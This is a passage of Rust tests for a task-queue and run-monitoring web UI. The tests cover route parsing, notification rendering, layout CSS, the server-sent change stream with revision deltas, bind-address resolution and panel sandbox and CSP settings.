19676 "`#/queue/<id>` must parse into a route carrying that id"
19677 );
19678
19679 assert!(APP_JS.contains("state.queueFocus = route.id;"));
19683 assert!(APP_JS.contains("function consumeQueueFocus()"));
19684 assert!(APP_JS.contains("jumpToTask(id)"));
19685 }
19686
19687 #[test]
19688 fn notifications_distinguish_actionable_questions_from_informational_notices() {
19689 let start = APP_JS
19690 .find("function noticeCoveredBy(")
19691 .expect("noticeCoveredBy exists");
19692 let body = &APP_JS[start..];
19693 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19694
19695 assert!(body.contains("Associated question ${short}"));
19697 assert!(!body.contains("el(\"a\""));
19698
19699 assert!(body.contains("(resolved)"));
19701 assert!(body.contains("(closed)"));
19702
19703 let start = APP_JS
19704 .find("function renderNotifications()")
19705 .expect("renderNotifications exists");
19706 let body = &APP_JS[start..];
19707 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19708
19709 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19711 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19712 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
19713 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19714 }
19715
19716 #[test]
19719 fn chat_rows_put_the_title_alone_on_the_first_line() {
19720 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
19721 assert!(APP_CSS.contains(
19722 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19723 ));
19724 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19725 assert!(APP_JS.contains("class: \"badge talk-unread\""));
19726 }
19727
19728 #[test]
19729 fn run_rows_put_the_title_alone_on_the_first_line() {
19730 assert!(
19731 APP_CSS.contains(
19732 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
19733 )
19734 );
19735 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19736 assert!(APP_JS.contains("class: \"card run-card\""));
19737 assert!(APP_JS.contains("class: \"repo run-id\""));
19738 }
19739
19740 #[test]
19744 fn wide_screens_show_list_and_preview_side_by_side() {
19745 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19747 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19748 assert!(APP_CSS.contains("main[data-split]"));
19749 assert!(APP_CSS.contains("body[data-split]"));
19750
19751 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
19753 assert!(
19754 APP_JS.contains(
19755 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19756 )
19757 );
19758 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19759 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19760 assert!(INDEX_HTML.contains("id=\"split-empty\""));
19761
19762 assert!(APP_JS.contains("function markSelected() {"));
19764 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19765 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19766 assert!(
19768 APP_CSS.contains(
19769 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19770 )
19771 );
19772
19773 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19775 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19776 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19777 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19778
19779 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19783 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19784 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19785 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19786
19787 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19789 }
19790
19791 #[test]
19792 fn panel_sandbox_carries_exactly_popups() {
19793 let needle = "sandbox: \"";
19794 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19795 assert_eq!(
19796 matches.len(),
19797 1,
19798 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19799 );
19800 let start = matches[0].0 + needle.len();
19801 let end = APP_JS[start..]
19802 .find('"')
19803 .expect("sandbox attribute value must be terminated by a closing quote");
19804 let val = &APP_JS[start..start + end];
19805 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
19806 let expected: std::collections::BTreeSet<&str> =
19807 ["allow-popups", "allow-popups-to-escape-sandbox"]
19808 .into_iter()
19809 .collect();
19810 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
19811 assert!(
19812 !tokens.contains("allow-scripts"),
19813 "allow-scripts must never be present in sandbox"
19814 );
19815 assert!(
19816 !tokens.contains("allow-same-origin"),
19817 "allow-same-origin must never be present in sandbox"
19818 );
19819 }
19820
19821 #[test]
19822 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
19823 assert!(
19832 APP_JS.contains(
19833 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
19834 ),
19835 "the search-clearing branch must run before state.queueFocus is cleared, or the \
19836 recursive renderQueue() call has nothing left to jump to"
19837 );
19838 assert!(
19839 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
19840 "state.queueFocus must be cleared only once the jump has landed, so a card that \
19841 arrives later still gets it"
19842 );
19843 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
19844 assert!(APP_JS.contains("is not in the current Backlog."));
19845 assert!(APP_JS.contains("li.card[data-task-id=\""));
19846 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
19847 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
19848 assert!(APP_CSS.contains(".card-permalink"));
19849 assert!(APP_CSS.contains(".queue-focus-status"));
19850 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
19851 }
19852
19853 #[test]
19854 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
19855 assert!(
19863 APP_JS.contains(
19864 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
19865 ),
19866 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
19867 );
19868 }
19869
19870 #[test]
19871 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
19872 assert!(
19873 APP_JS.contains("round.verified_head !== round.head"),
19874 "a round that verified an earlier commit must be visibly distinct from one that \
19875 verified the head reviewers are looking at now"
19876 );
19877 assert!(
19878 APP_JS.contains("round.verified_at"),
19879 "when a check ran must be on the wire, not just which commit"
19880 );
19881 assert!(
19882 APP_JS.contains("resource_blocked"),
19883 "a command magi never got to run (shared build cache contention) must not render \
19884 the same as a command that ran and failed"
19885 );
19886 }
19887
19888 #[test]
19889 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19890 assert!(
19898 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19899 "every KPI tile built through statusTile() must route its click through \
19900 openRunsFiltered, the single place that sets the Runs filter"
19901 );
19902 for (label, status) in [
19903 ("Merged", "merged"),
19904 ("Ready", "ready"),
19905 ("Blocked", "blocked"),
19906 ("Stalled", "stalled"),
19907 ] {
19908 let call = format!("statusTile(\"{label}\", t.{status}, ");
19909 assert!(
19910 APP_JS.contains(&call),
19911 "expected the {label} KPI tile built via {call}..."
19912 );
19913 assert!(
19914 APP_JS.contains(&format!("status === \"{status}\"")),
19915 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19916 compare a run against, not one invented only for the stats tile"
19917 );
19918 }
19919 assert!(
19920 APP_JS.contains("function openRunsFiltered(status)"),
19921 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19922 );
19923 assert!(
19924 APP_JS.contains(
19925 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19926 ),
19927 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19928 );
19929 assert!(
19937 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
19938 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19939 hashchange event that may never fire"
19940 );
19941 }
19942
19943 #[test]
19944 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19945 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19951 assert!(
19952 APP_JS.contains(
19953 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
19954 ),
19955 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19956 guard for an incompatible tree section"
19957 );
19958 }
19959
19960 #[test]
19961 fn every_stats_queue_tile_names_a_real_queue_section() {
19962 assert!(
19968 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19969 "every queue tile built through sectionTile() must route its click through \
19970 openQueueSectionFocus"
19971 );
19972 for key in ["upnext", "running", "done", "held", "blocked"] {
19973 assert!(
19974 APP_JS.contains(&format!("{{ key: \"{key}\",")),
19975 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19976 );
19977 }
19978 for line in [
19982 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19983 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19984 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19985 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19986 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19987 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19988 ] {
19989 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19990 }
19991 }
19992
19993 #[test]
19994 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19995 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20002 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20003 assert!(APP_JS.contains("function revealQueueSection(details)"));
20004 assert!(
20005 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20006 "renderQueue() must consume both focus channels on every pass"
20007 );
20008 assert!(
20009 APP_JS.contains(
20010 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20011 ),
20012 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20013 the recursive renderQueue() call has nothing left to reveal"
20014 );
20015 assert!(
20016 APP_JS.contains(
20017 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20018 ),
20019 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20020 );
20021 assert!(
20029 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20030 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20031 hashchange event that may never fire"
20032 );
20033 }
20034
20035 #[tokio::test]
20036 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20037 let f = Fixture::start().await;
20038
20039 let mut socket = tokio::net::TcpStream::connect(f.addr)
20040 .await
20041 .expect("connect");
20042 socket
20043 .write_all(
20044 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20045 )
20046 .await
20047 .expect("write request");
20048
20049 let mut seen = String::new();
20052 let mut buf = [0u8; 1024];
20053 while !seen.contains("event: change") {
20054 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20055 .await
20056 .expect("the stream must speak within five seconds")
20057 .expect("read");
20058 assert!(read > 0, "the server closed the change stream: {seen}");
20059 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20060 }
20061
20062 assert!(
20063 seen.to_lowercase()
20064 .contains("content-type: text/event-stream"),
20065 "the browser only reconnects automatically for a real SSE stream: {seen}"
20066 );
20067 let data = seen
20068 .lines()
20069 .find_map(|l| l.strip_prefix("data:"))
20070 .expect("a data line");
20071 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20072 assert!(
20073 payload["queue_rev"].is_u64()
20074 && payload["runs_rev"].is_u64()
20075 && payload["questions_rev"].is_u64()
20076 && payload["talks_rev"].is_u64()
20077 && payload["notifications_rev"].is_u64()
20078 && payload["loop_rev"].is_u64(),
20079 "the client needs one revision per store to know what to refetch, \
20080 and `talks_rev` is the only notification a standing talk gets - a \
20081 phone whose radio slept through a turn learns about it here, as \
20082 does one whose operator started the loop from another device: \
20083 {payload}"
20084 );
20085
20086 let health = f.get("/api/health").await.json();
20093 for key in [
20094 "queue_rev",
20095 "runs_rev",
20096 "questions_rev",
20097 "talks_rev",
20098 "notifications_rev",
20099 "loop_rev",
20100 ] {
20101 assert!(
20102 health[key].is_u64(),
20103 "health is the change stream's fallback and is missing `{key}`: {health}"
20104 );
20105 }
20106 }
20107
20108 #[tokio::test]
20109 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20110 let f = Fixture::start().await;
20111 let before = f.get("/api/health").await.json()["talks_rev"]
20112 .as_u64()
20113 .expect("talks_rev");
20114
20115 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20116 std::thread::sleep(Duration::from_millis(10));
20117 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20118 on_disk.turns.push(crate::talk::Turn {
20119 sender: None,
20120 breaks: Some(Vec::new()),
20121 messages: Vec::new(),
20122 posted_by: None,
20123 who: crate::talk::Who::Operator,
20124 body: "a new turn".to_owned(),
20125 at: Timestamp::now(),
20126 attachments: Vec::new(),
20127 usage: None,
20128 });
20129 f.talks().put(&mut on_disk).expect("record a turn");
20130
20131 let after = tokio::time::timeout(Duration::from_secs(5), async {
20132 loop {
20133 let revision = f.get("/api/health").await.json()["talks_rev"]
20134 .as_u64()
20135 .unwrap();
20136 if revision != before {
20137 break revision;
20138 }
20139 tokio::time::sleep(Duration::from_millis(50)).await;
20140 }
20141 })
20142 .await
20143 .expect("shared monitor observes external turn");
20144 assert_ne!(
20145 before, after,
20146 "a phone must be able to notice a talk's reply without polling every store"
20147 );
20148 }
20149
20150 #[test]
20151 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20152 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20156 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20157 }
20158 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20159 assert!("everywhere".parse::<Bind>().is_err());
20160 }
20161
20162 #[test]
20163 fn an_explicit_bind_address_is_taken_verbatim() {
20164 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20165
20166 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20167
20168 assert_eq!(addr, asked);
20169 assert!(
20170 warning.is_none(),
20171 "an operator who named an address gets no lecture"
20172 );
20173 }
20174
20175 #[test]
20176 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20177 let (addr, warning) = resolve_bind(&Bind::Auto);
20178
20179 match addr {
20186 IpAddr::V4(ip) if is_tailnet(&ip) => {
20187 assert!(warning.is_none(), "a tailnet address needs no warning");
20188 }
20189 other => {
20190 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20191 let warning = warning.expect("a fallback has to explain itself");
20192 assert!(
20193 warning.contains("127.0.0.1") && warning.contains("local-only"),
20194 "the warning says what happened and what it costs: {warning}"
20195 );
20196 }
20197 }
20198 }
20199
20200 #[test]
20201 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20202 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20206 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20207 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20208 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20209 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20210 }
20211
20212 #[test]
20213 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20214 let ids = vec![
20215 "20260902-140501-aaaa".to_owned(),
20216 "20260902-140502-aabb".to_owned(),
20217 ];
20218
20219 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20220 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20221 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20222
20223 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20224 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20225 assert_eq!(short, "20260902-140502-aabb");
20226 }
20227 #[tokio::test]
20228 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20229 let fx = Fixture::start().await;
20235 let id = panel(
20236 &fx,
20237 "<img src=\"shot.png\">",
20238 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20239 );
20240
20241 let doc = fx
20243 .get(&format!("/api/questions/{id}/panel/index.html"))
20244 .await;
20245 assert_eq!(doc.status, 200, "{}", doc.body);
20246 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20247
20248 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20249 assert_eq!(sibling.status, 200, "{}", sibling.body);
20250 assert_eq!(sibling.header("content-type"), Some("image/png"));
20251 assert_eq!(
20252 sibling.header("content-security-policy"),
20253 Some(PANEL_CSP),
20254 "the sibling route must carry the same policy as the asset route"
20255 );
20256
20257 assert_eq!(
20260 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20261 200
20262 );
20263 }
20264
20265 #[test]
20266 fn delta_stamps_cover_add_update_remove_and_noop() {
20267 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20268 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20269 let delta = diff_stamps(&before, &after, 42);
20270 assert_eq!(delta.base, 42);
20271 assert_eq!(delta.changed, ["b", "c"]);
20272 assert_eq!(delta.removed, ["a"]);
20273 let same = diff_stamps(&after, &after, 43);
20274 assert!(same.changed.is_empty() && same.removed.is_empty());
20275 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20276 let nanos: Stamps = [("b".into(), (2, 20))].into();
20277 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20278 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20279 assert_eq!(stamps_revision(&Stamps::new()), 0);
20280 }
20281
20282 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20283 std::fs::create_dir_all(home.join("runs")).unwrap();
20284 Arc::new(Ui::new(
20285 Queue::at(home.join("queue")),
20286 Questions::at(home.join("questions")),
20287 Talks::at(home.join("talks")),
20288 home.join("runs"),
20289 home.to_owned(),
20290 PathBuf::from("/repo/magi"),
20291 ))
20292 }
20293
20294 #[test]
20295 fn monitor_scan_isolates_store_failures_and_recovers() {
20296 let home = TempDir::new().unwrap();
20297 let ui = delta_test_ui(home.path());
20298 std::fs::create_dir_all(ui.questions.root()).unwrap();
20299 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20300 let before = monitor_scan(&ui, None);
20301 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20302 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20303 std::fs::create_dir_all(ui.talks.root()).unwrap();
20304 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20305 let during = monitor_scan(&ui, Some(before.clone()));
20306 assert_eq!(during.0.2, before.0.2);
20307 assert_ne!(during.0.3, before.0.3);
20308 assert!(during.1[2].contains_key("new"));
20309 std::fs::remove_file(ui.questions.root()).unwrap();
20310 let after = monitor_scan(&ui, Some(during));
20311 assert_eq!(after.0.2, 0);
20312 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20313 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20315 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20316 }
20317
20318 #[tokio::test]
20319 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20320 let home = TempDir::new().unwrap();
20321 let ui = delta_test_ui(home.path());
20322 let mut task = Task::new(
20323 "stream task".into(),
20324 "text".into(),
20325 PathBuf::from("/repo"),
20326 Source::Human,
20327 );
20328 ui.queue.put(&mut task).unwrap();
20329 let response = events(State(ui.clone())).await.into_response();
20330 let mut stream = response.into_body().into_data_stream();
20331 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20332 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20333 .await
20334 .unwrap()
20335 .unwrap()
20336 .unwrap();
20337 let text = String::from_utf8(chunk.to_vec()).unwrap();
20338 let data = text
20339 .lines()
20340 .find_map(|line| {
20341 line.strip_prefix("data: ")
20342 .or_else(|| line.strip_prefix("data:"))
20343 })
20344 .unwrap();
20345 serde_json::from_str(data).unwrap()
20346 }
20347 let initial = change(&mut stream).await;
20348 assert!(initial.get("queue_delta").is_none());
20349 task.instruction.push_str(" changed");
20350 ui.queue.put(&mut task).unwrap();
20351 let updated = change(&mut stream).await;
20352 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20353 assert_eq!(
20354 updated["queue_delta"]["changed"],
20355 serde_json::json!([task.id])
20356 );
20357 assert_eq!(
20358 updated["queue_rev"].as_u64(),
20359 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20360 );
20361 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20362 let removed = change(&mut stream).await;
20363 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20364 assert_eq!(
20365 removed["queue_delta"]["removed"],
20366 serde_json::json!([task.id])
20367 );
20368 }
20369
20370 #[tokio::test]
20371 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20372 let home = TempDir::new().unwrap();
20373 let ui = delta_test_ui(home.path());
20374 let queue = ui.queue.clone();
20375 let query = |ids: Option<&str>| {
20376 Query(ListQuery {
20377 limit: Some(2),
20378 ids: ids.map(str::to_owned),
20379 })
20380 };
20381 let mut root = Task::new(
20382 "root".into(),
20383 "instruction".into(),
20384 PathBuf::from("/repo"),
20385 Source::Human,
20386 );
20387 queue.put(&mut root).unwrap();
20388 let mut blocked = Task::new(
20389 "blocked".into(),
20390 "instruction".into(),
20391 PathBuf::from("/repo"),
20392 Source::Human,
20393 );
20394 blocked.block(vec![root.id.clone()], None);
20395 queue.put(&mut blocked).unwrap();
20396 let whole =
20397 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20398 .unwrap();
20399 let subset = serde_json::to_value(
20400 queue_list(State(ui.clone()), query(Some(&root.id)))
20401 .await
20402 .unwrap()
20403 .0,
20404 )
20405 .unwrap();
20406 assert_eq!(whole, subset, "requested root plus its blocked dependent");
20407 let blockers = serde_json::to_value(
20408 queue_list(State(ui.clone()), query(Some("")))
20409 .await
20410 .unwrap()
20411 .0,
20412 )
20413 .unwrap();
20414 assert_eq!(blockers.as_array().unwrap().len(), 1);
20415 assert_eq!(blockers[0]["id"], blocked.id);
20416 assert_eq!(
20417 blockers[0]["waits_on"],
20418 whole
20419 .as_array()
20420 .unwrap()
20421 .iter()
20422 .find(|row| row["id"] == blocked.id)
20423 .unwrap()["waits_on"]
20424 );
20425
20426 for id in [
20427 "20260902-140501-aaaa",
20428 "20260902-140502-bbbb",
20429 "20260902-140503-cccc",
20430 ] {
20431 write_run(&ui.runs, id, RunStatus::Merged);
20432 }
20433 let old = serde_json::to_value(
20434 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20435 .await
20436 .unwrap()
20437 .0,
20438 )
20439 .unwrap();
20440 assert!(
20441 old.as_array().unwrap().is_empty(),
20442 "older updates must not enter the window"
20443 );
20444 let newest = serde_json::to_value(
20445 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20446 .await
20447 .unwrap()
20448 .0,
20449 )
20450 .unwrap();
20451 assert_eq!(newest.as_array().unwrap().len(), 1);
20452 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20453
20454 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20455 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20456 let talks = serde_json::to_value(
20457 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20458 .await
20459 .unwrap()
20460 .0,
20461 )
20462 .unwrap();
20463 assert_eq!(talks.as_array().unwrap().len(), 1);
20464 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20465 assert_eq!(
20466 serde_json::to_value(
20467 talks_list(State(ui.clone()), query(Some("")))
20468 .await
20469 .unwrap()
20470 .0
20471 )
20472 .unwrap(),
20473 serde_json::json!([])
20474 );
20475 }
20476
20477 #[tokio::test]
20478 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20479 async fn delta_payload_benchmark() {
20480 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20481 let ui = delta_test_ui(&home);
20482 let query = |ids: Option<String>| {
20483 Query(ListQuery {
20484 limit: Some(50),
20485 ids,
20486 })
20487 };
20488 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20489 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20490 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20491 let queue_id = queue
20492 .iter()
20493 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20494 .unwrap_or(&queue[0])
20495 .task
20496 .id
20497 .clone();
20498 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20499 .await
20500 .unwrap()
20501 .0;
20502 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20503 .await
20504 .unwrap()
20505 .0;
20506 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20507 .await
20508 .unwrap()
20509 .0;
20510 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20511 eprintln!(
20512 "DELTA_PAYLOAD {}",
20513 serde_json::json!({
20514 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20515 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20516 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20517 "counts": [queue.len(), runs.len(), talks.len()],
20518 "blocked": queue_delta.len() - 1,
20519 })
20520 );
20521 }
20522
20523 #[test]
20524 fn runs_revision_moves_when_deleting_an_older_run() {
20525 let temp = TempDir::new().expect("tempdir");
20526 let runs = temp.path().join("runs");
20527 std::fs::create_dir_all(&runs).expect("create runs dir");
20528
20529 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20530
20531 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20532 std::thread::sleep(Duration::from_millis(10));
20533 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20534
20535 let rev_before = runs_revision(&runs);
20536 assert!(rev_before > 0);
20537
20538 let old_dir = runs.join("20260901-100000-old1");
20539 std::fs::remove_dir_all(&old_dir).expect("remove old run");
20540
20541 let rev_after = runs_revision(&runs);
20542 assert_ne!(
20543 rev_before, rev_after,
20544 "deleting an older run must change the revision so other clients see the deletion"
20545 );
20546 }
20547
20548 fn write_state(runs: &FsPath, state: &RunState) {
20553 let dir = runs.join(&state.id);
20554 std::fs::create_dir_all(&dir).expect("run dir");
20555 std::fs::write(
20556 dir.join("run.json"),
20557 serde_json::to_string_pretty(state).expect("serialize run"),
20558 )
20559 .expect("write run.json");
20560 }
20561
20562 #[test]
20567 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20568 let temp = TempDir::new().expect("tempdir");
20569 let runs = temp.path().join("runs");
20570 std::fs::create_dir_all(&runs).expect("create runs dir");
20571 let mut state = RunState::new(
20572 PathBuf::from("/repo/magi"),
20573 "main".to_owned(),
20574 "0123456789abcdef".to_owned(),
20575 "task".to_owned(),
20576 Config::default(),
20577 );
20578 state.id = "20260902-100000-c0de".to_owned();
20579 write_state(&runs, &state);
20580
20581 let rev_idle = runs_revision(&runs);
20582 std::thread::sleep(Duration::from_millis(10));
20583 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20584 write_state(&runs, &state);
20585 let rev_started = runs_revision(&runs);
20586 assert_ne!(
20587 rev_idle, rev_started,
20588 "a seat starting must move the revision"
20589 );
20590
20591 std::thread::sleep(Duration::from_millis(10));
20592 state.seat_finished("judge-1");
20593 write_state(&runs, &state);
20594 let rev_finished = runs_revision(&runs);
20595 assert_ne!(
20596 rev_started, rev_finished,
20597 "and clearing it again must move the revision a second time"
20598 );
20599 }
20600
20601 #[tokio::test]
20602 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20603 let fx = Fixture::start().await;
20608 let q = fx.queue();
20609
20610 let mut t = Task::new(
20611 "Task".to_owned(),
20612 "Instruction".to_owned(),
20613 PathBuf::from("/repo"),
20614 Source::Human,
20615 );
20616 t.block(
20617 vec!["20260101-000000-dead".to_owned()],
20618 Some("waiting on Task 1".to_owned()),
20619 );
20620 t.answers.push(crate::queue::AnsweredQuestion {
20621 question: "Which backend?".to_owned(),
20622 answer: "SQLite".to_owned(),
20623 });
20624 q.put(&mut t).expect("put t");
20625
20626 let res = fx.get("/api/queue").await;
20627 assert_eq!(res.status, 200);
20628 let list = res.json();
